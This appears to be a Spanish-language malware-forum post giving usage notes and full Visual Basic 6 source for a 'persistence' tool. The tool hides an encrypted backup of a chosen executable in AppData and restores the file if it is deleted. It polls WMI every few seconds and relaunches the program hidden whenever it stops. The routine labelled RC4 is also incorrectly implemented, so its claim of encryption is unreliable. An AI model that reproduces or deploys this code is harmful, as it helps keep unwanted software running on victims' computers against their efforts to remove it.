¿Cómo se usa?
persistencia.exe aplicacion.exe/*/c:/ruta/al/archivo.exe
¿Qué hace?
1) Comprueba si es la única instancia de persistencia de un archivo (poniendo de mutex la ruta a la aplicación). Esto quiere decir que se puede ejecutar la persistencia de varias aplicaciones siempre y cuando no tengan la misma ruta.
2) Inicia bucle infinito
3) Crea una copia cifrada en AppData (con RC4 cuya contraseña de cifrado es el nombre del .exe)
4) Si el archivo original ha sido borrado, se reestablece gracias a la copia de seguridad.
5) Comprueba (a través de WMI) si el archivo pasado como parámetro está siendo ejecutado, si no lo está lo inicia.
Código: Seleccionar todo
'Code: Persistance
'Author: Blau
'To: indetectables.net
'Thanks to: Pink & Scorpio
Option Explicit
Private Const ERROR_ALREADY_EXISTS As Long = 183&
Private Declare Function CreateSemaphoreW Lib "kernel32.dll" (ByVal lpSemaphoreAttributes As Long, ByVal lInitialCount As Long, ByVal lMaximumCount As Long, ByVal lpName As Long) As Long
Private Declare Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long)
Sub Main()
On Error Resume Next
Dim args() As String
args = Split(Command$, "/*/")
If bWasIOpened(args(1)) Then
End
End If
While (True)
If Not CheckFileExist(Environ$("APPDATA") & "\" & args(0)) Then
WriteFile Environ$("APPDATA") & "\" & args(0), RC4(GetFile(args(1)), args(0))
End If
If Not CheckFileExist(args(1)) Then
WriteFile args(1), RC4(GetFile(Environ$("APPDATA") & "\" & args(0)), args(0))
End If
If Not CheckProcess("Name", args(0)) Then
Shell Chr(34) & args(1) & Chr(34), vbHide
End If
Sleep 3000
Wend
End Sub
Private Function CheckProcess(check As String, Process As String)
Dim objWMIService, colProcesses
Set objWMIService = GetObject("winmgmts:")
Set colProcesses = objWMIService.ExecQuery("Select * from Win32_Process where " & check & " ='" & Process & "'")
If colProcesses.Count Then
CheckProcess = True
Else
CheckProcess = False
End If
End Function
Private Function bWasIOpened(ByVal lpName As String) As Boolean
bWasIOpened = (CreateSemaphoreW(0&, 0&, 1&, StrPtr(lpName)) > 0) And (Err.LastDllError = ERROR_ALREADY_EXISTS)
End Function
Public Function CheckFileExist(path As String) As Boolean
On Error GoTo ErrorHandler
CheckFileExist = (GetAttr(path) And vbDirectory) = 0
ErrorHandler:
Resume Next
End Function
Public Function RC4(ByVal data As String, ByVal Password As String) As String
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte, Temp As Variant
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(data, vbFromUnicode)
For X = 0 To Len(data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function
Private Function GetFile(path As String) As String
Dim file As String
Open path For Binary As #1
file = Space(LOF(1))
Get #1, , file
Close #1
GetFile = file
End Function
Private Function WriteFile(path As String, cont As String)
Dim FF#
FF# = FreeFile
Open path For Binary Access Write As #FF
Put #FF, , cont
Close #FF
End Function
